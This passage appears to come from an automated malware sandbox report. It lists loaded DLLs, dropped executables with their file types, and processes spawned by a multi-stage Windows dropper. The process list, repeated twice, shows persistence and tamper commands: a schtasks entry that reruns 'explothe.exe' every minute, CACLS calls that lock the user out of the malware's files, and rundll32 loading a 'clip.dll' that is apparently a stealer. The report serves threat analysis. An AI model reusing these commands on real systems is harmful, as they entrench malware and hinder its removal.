string:"C:\Windows\system32\KERNELBASE.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\ADVAPI32.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\msvcrt.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\SHELL32.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\SHLWAPI.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\GDI32.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\RPCRT4.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USER32.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\LPK.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USP10.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\WININET.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:":\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.DLL" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\iertutil.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USERENV.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\version.DLL" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\IMM32.DLL" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"9C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.DLL" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00002592-00000C25-43918529]45:T739,Spawned process "aW5Tb54.exe" (UID: 00000000-00000176) Spawned process "op9Jo62.exe" (UID: 00000000-00002548) Spawned process "zt7vg41.exe" (UID: 00000000-00003412) Spawned process "ss3vj64.exe" (UID: 00000000-00002168) Spawned process "Gj9uC90.exe" (UID: 00000000-00003716) Spawned process "dm8Sa10.exe" (UID: 00000000-00000984) Spawned process "1wL27Vk7.exe" (UID: 00000000-00001784) Spawned process "2hc1372.exe" (UID: 00000000-00002864) Spawned process "3di89sk.exe" (UID: 00000000-00003188) Spawned process "AppLaunch.exe" (UID: 00000000-00002432) Spawned process "4EM873Jt.exe" (UID: 00000000-00002148) Spawned process "5tc7lo6.exe" (UID: 00000000-00002952) Spawned process "AppLaunch.exe" (UID: 00000000-00002572) Spawned process "6Hy9qE9.exe" (UID: 00000000-00003728) Spawned process "explothe.exe" (UID: 00000000-00001756) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002828), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00002732) Spawned process "7GY0fl42.exe" (UID: 00000000-00004060) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00002656) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00003072) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:N"" (UID: 00000000-00003664) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip.dll, Main" (UID: 00000000-00002636) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E" (UID: 00000000-00000360) Spawned process "explothe.exe" (UID: 00000000-00000620) Spawned process "AppLaunch.exe" (UID: 00000000-00000784)46:T739,Spawned process "aW5Tb54.exe" (UID: 00000000-00000176) Spawned process "op9Jo62.exe" (UID: 00000000-00002548) Spawned process "zt7vg41.exe" (UID: 00000000-00003412) Spawned process "ss3vj64.exe" (UID: 00000000-00002168) Spawned process "Gj9uC90.exe" (UID: 00000000-00003716) Spawned process "dm8Sa10.exe" (UID: 00000000-00000984) Spawned process "1wL27Vk7.exe" (UID: 00000000-00001784) Spawned process "2hc1372.exe" (UID: 00000000-00002864) Spawned process "3di89sk.exe" (UID: 00000000-00003188) Spawned process "AppLaunch.exe" (UID: 00000000-00002432) Spawned process "4EM873Jt.exe" (UID: 00000000-00002148) Spawned process "5tc7lo6.exe" (UID: 00000000-00002952) Spawned process "AppLaunch.exe" (UID: 00000000-00002572) Spawned process "6Hy9qE9.exe" (UID: 00000000-00003728) Spawned process "explothe.exe" (UID: 00000000-00001756) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002828), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00002732) Spawned process "7GY0fl42.exe" (UID: 00000000-00004060) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00002656) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00003072) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:N"" (UID: 00000000-00003664) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip.dll, Main" (UID: 00000000-00002636) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E" (UID: 00000000-00000360) Spawned process "explothe.exe" (UID: 00000000-00000620) Spawned process "AppLaunch.exe" (UID: 00000000-00000784)47:T49c,"file" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "aW5Tb54.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "op9Jo62.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "zt7vg41.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "7GY0fl42.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5tc7lo6.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3di89sk.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "ss3vj64.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "Gj9uC90.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "dm8Sa10.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "4EM873Jt.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "explothe.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "2hc1372.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "clip_1_.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "8Am5oO69.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE48:T6407,"aW5Tb54.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\aW5Tb54.exe]- [targetUID: 00000000-00002592] "op9Jo62.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\op9Jo62.exe]- [targetUID: 00000000-00002548] "zt7vg41.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\zt7vg41.exe]- [targetUID: 00000000-00002548] "7GY0fl42.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\7GY0fl42.exe]- [targetUID: 00000000-00004060] "5tc7lo6.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\5tc7lo6.exe]- [targetUID: 00000000-00002952] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "3di89sk.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\3di89sk.exe]- [targetUID: 00000000-00003716] "ss3vj64.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\ss3vj64.exe]- [targetUID: 00000000-00003412] "Gj9uC90.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\Gj9uC90.exe]- [targetUID: 00000000-00003716] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "dm8Sa10.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\dm8Sa10.exe]- [targetUID: 00000000-00000984] "4EM873Jt.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\4EM873Jt.exe]- [targetUID: 00000000-00002148] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00002656] "2hc1372.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP006.TMP\2hc1372.exe]- [targetUID: 00000000-00000984] "clip_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "8Am5oO69.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\IXP000.TMP\8Am5oO69.exe]- [targetUID: 00000000-00002072] "1wL27Vk7.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP006.TMP\1wL27Vk7.exe]- [targetUID: 00000000-00000984] "4aAhOWlwaXf_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "cred.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00001756] "8DB0.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\8D9E.tmp\8DAF.tmp\8DB0.bat]- [targetUID: 00000000-00002072] "urlblockindex_2_.bin" has type "data"- [targetUID: N/A] "14LFN4RN.js" has type "ASCII text with very long lines"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\14LFN4RN.js]- [targetUID: 00000000-00001440] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "RNFuSb7tdaZ_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m__b__tp_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "A4L7HTQE.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\A4L7HTQE.htm]- [targetUID: 00000000-00003164] "m_ltDFwf_Rusgnf_Ctsu_UPKV3d_bPkrc_W2YXuc_pxq3x_IZ1fbc_soHxf_kSPLL_qPfo0c_yRXbo_bTi8wc_ywOR5c_PHUIyb_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "uwjyy7pmA-B_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "bisOS4dl-mS_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "1xoiPcaOOYU_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "LgvwffuKmeX_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "ju4lCUCaD5F_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "xEUODc7mbZF_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_byfTOb_lsjVmc_LEikZe_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "zihuVctRJY1_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "zI56j6esQGz_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "SeW64FDUgJN_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "BQn1Lzzcmjv_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20544 version 1.1"- [targetUID: N/A] "~DF0D7A288B23891C72.TMP" has type "data"- Location: [%TEMP%\~DF0D7A288B23891C72.TMP]- [targetUID: 00000000-00002208] "KFOmCnqEu92Fr1Mu4mxM_1_.woff" has type "Web Open Font Format TrueType length 20344 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "OOjRP9ZKS4__1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_RqjULd_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00002208] "_tJ17sGyxOX_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00002208] "_20A7D5F7-6F50-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "~DF722324FC325C6238.TMP" has type "data"- Location: [%TEMP%\~DF722324FC325C6238.TMP]- [targetUID: 00000000-00002284] "~DF74BF03958318BA16.TMP" has type "data"- [targetUID: N/A] "~DFCCF5F4A99D3D70E3.TMP" has type "data"- Location: [%TEMP%\~DFCCF5F4A99D3D70E3.TMP]- [targetUID: 00000000-00003164] "~DF064DD2AFDE333088.TMP" has type "data"- Location: [%TEMP%\~DF064DD2AFDE333088.TMP]- [targetUID: 00000000-00002284] "~DF78AFC583DA0BE2F8.TMP" has type "data"- Location: [%TEMP%\~DF78AFC583DA0BE2F8.TMP]- [targetUID: 00000000-00002284] "~DF2EF26B910F4BDF54.TMP" has type "data"- Location: [%TEMP%\~DF2EF26B910F4BDF54.TMP]- [targetUID: 00000000-00003164] "~DF6CC7DF1BC6DA6549.TMP" has type "data"- [targetUID: N/A] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Web Open Font Format TrueType length 16064 version 1.1"- [targetUID: N/A] "_87BA2E9D-6F55-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "lFK_RCKM9IT_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "C9n9XTZa3H8_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "30BCF8D79B1225AC4F40686E58D30D95" has type "data"- [targetUID: 00000000-00002516] "xqvNY4MTESs_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "A3E6546D43CF3C4D85B14CC51DAFA332" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A3E6546D43CF3C4D85B14CC51DAFA332]- [targetUID: 00000000-00001440] "rAl2Hl1fQTa_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_wg1P6b_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00003756] "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced"- [targetUID: N/A] "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "P8DLAFRlDfy_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced"- [targetUID: N/A] "MAz3ivwtIyN_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "jIUN0Hn2kpD_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "supported_browsers_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with no line terminators"- [targetUID: N/A] "RecoveryStore._3073E2A9-6F44-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._B6F53BF1-6F42-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._E7EFC937-6F44-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_5_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003164] "d4QqVJOdC1V_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "_FF82A00D-6F5E-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_9A2E1EC3-6F55-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_4175D2F2-6F7E-11EE-BDC4-005056915951_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "hLRJ1GG_y0J_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "m_sOXFj_q0xTif_ZZ4WUe_1_.js" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "2W2z89vRC58_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_Wt6vjf_hhhU8_FCpbqb_WhJNk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "QJ_ErdZuyUE_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_ZwDk9d_RMhBfe_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "wm4d5zAAo-a_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "zRK3Ix_kur3_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "yUtEQ4ajXZI_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "iO3P8CXC6B9_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "1FPNULrhhBJ_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "EQ0cyse2DGv_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_w9hDv_VwDzFe_A7fCU_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002516] "bpW4eEg-2_W_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "m_bm51tf_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "www.facebook_1_.xml" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "favicon_4_.ico" has type "MS Windows icon resource - 1 icon 16x16 32 bits/pixel"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- [targetUID: 00000000-00002516] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- [targetUID: 00000000-00003164] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00002516] "yotEdcUw9Gj_1_.css" has type "ASCII text"- [targetUID: N/A] "K1RF7W3T.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\K1RF7W3T.txt]- [targetUID: 00000000-00003756] "E87CE99F124623F95572A696C80EFCAF_ECD931CC6FBF9F061BE09F2505FD40C3" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_ECD931CC6FBF9F061BE09F2505FD40C3]- [targetUID: 00000000-00002516] "A16C6C16D94F76E0808C087DFC657D99_A7C147C73ED1DF7D9D054EF28CB47FB4" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_A7C147C73ED1DF7D9D054EF28CB47FB4]- [targetUID: 00000000-00001440] "E87CE99F124623F95572A696C80EFCAF_BBCE07F0D1D3591F7AACC4D200BCC3F0" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_BBCE07F0D1D3591F7AACC4D200BCC3F0]- [targetUID: 00000000-00001440] "265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" has type "data"- [targetUID: 00000000-00002516] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00003164] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00003164] "E87CE99F124623F95572A696C80EFCAF_9EBD80E624B865607A21974E30809640" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9EBD80E624B865607A21974E30809640]- [targetUID: 00000000-00002516] "E87CE99F124623F95572A696C80EFCAF_7D28090A46C74E41A9A3E66B91EADD47" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_7D28090A46C74E41A9A3E66B91EADD47]- [targetUID: 00000000-00001440] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003756] "35DDEDF268117918D1D277A171D8DF7B_6A71C09B2AF24A7C15A327B0CFBE55AD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_6A71C09B2AF24A7C15A327B0CFBE55AD]- [targetUID: 00000000-00003756] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00003756] "O287_AcFyg4_1_.png" has type "PNG image data 20 x 20 8-bit colormap non-interlaced"- [targetUID: N/A] "VHLVLKWH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\VHLVLKWH.txt]- [targetUID: 00000000-00003164] "dXk5exdOVhk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00003164] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00003164] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002516] "35DDEDF268117918D1D277A171D8DF7B_6A71C09B2AF24A7C15A327B0CFBE55AD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_6A71C09B2AF24A7C15A327B0CFBE55AD]- [targetUID: 00000000-00003756] "E87CE99F124623F95572A696C80EFCAF_7D28090A46C74E41A9A3E66B91EADD47" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_7D28090A46C74E41A9A3E66B91EADD47]- [targetUID: 00000000-00001440] "E87CE99F124623F95572A696C80EFCAF_9EBD80E624B865607A21974E30809640" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_9EBD80E624B865607A21974E30809640]- [targetUID: 00000000-00002516] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003756] "A16C6C16D94F76E0808C087DFC657D99_A7C147C73ED1DF7D9D054EF28CB47FB4" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_A7C147C73ED1DF7D9D054EF28CB47FB4]- [targetUID: 00000000-00001440] "E87CE99F124623F95572A696C80EFCAF_ECD931CC6FBF9F061BE09F2505FD40C3" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_ECD931CC6FBF9F061BE09F2505FD40C3]- [targetUID: 00000000-00002516] "E87CE99F124623F95572A696C80EFCAF_BBCE07F0D1D3591F7AACC4D200BCC3F0" has type "data"- Location: 